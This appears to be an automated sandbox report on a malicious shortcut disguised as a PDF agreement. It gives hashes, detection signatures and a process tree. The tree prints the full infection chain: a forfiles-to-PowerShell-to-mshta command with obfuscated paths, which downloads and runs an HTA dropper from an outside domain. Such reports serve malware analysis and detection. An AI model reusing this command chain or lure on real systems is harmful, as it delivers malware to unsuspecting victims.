Analysis

  • max time kernel
    132s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-10-2024 02:23

General

  • Target

    A/Agreement for YouTube cooperation.pdf.lnk

  • Size

    1KB

  • MD5

    90de1044962e092ea916ae08649227ba

  • SHA1

    a2fafd3d9e2b224205d6a3ae529416d33be68b2e

  • SHA256

    8ea35c2bfdf4cad1197abadd19f4f0e09579afcfdb32abc7e71bb5818c6d3ba6

  • SHA512

    1b2d37a8615904f074def78a06dbed15d38dc455eb5a715002a5e93c28520154f506d7ea6f150e915ca1bda0564d358635314e9022a170efee2ada168ff19890

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://ctu.timeless-tales.shop/api/uz/0912545164/CharcoalWharf.json

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Indirect Command Execution 1 TTPs 1 IoCs

    Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\A\Agreement for YouTube cooperation.pdf.lnk"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3608
    • C:\Windows\System32\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p C:\Windows /m notep*.exe /c "powershell Start-Process \*i*\*2\msh*e https://ctu.timeless-tales.shop/api/uz/0912545164/CharcoalWharf.json"
      2⤵
      • Indirect Command Execution
      • Suspicious use of WriteProcessMemory
      PID:3012
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        Start-Process \*i*\*2\msh*e https://ctu.timeless-tales.shop/api/uz/0912545164/CharcoalWharf.json
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5080
        • C:\Windows\System32\mshta.exe
          "C:\Windows\System32\mshta.exe" https://ctu.timeless-tales.shop/api/uz/0912545164/CharcoalWharf.json
          4⤵
          • Blocklisted process makes network request
          PID:1600

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3ocmpkjn.egk.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/5080-0-0x00007FFF2B5F3000-0x00007FFF2B5F5000-memory.dmp

    Filesize

    8KB

  • memory/5080-10-0x000001F2A6B70000-0x000001F2A6B92000-memory.dmp

    Filesize

    136KB

  • memory/5080-11-0x00007FFF2B5F0000-0x00007FFF2C0B1000-memory.dmp

    Filesize

    10.8MB

  • memory/5080-12-0x00007FFF2B5F0000-0x00007FFF2C0B1000-memory.dmp

    Filesize

    10.8MB

  • memory/5080-15-0x00007FFF2B5F0000-0x00007FFF2C0B1000-memory.dmp

    Filesize

    10.8MB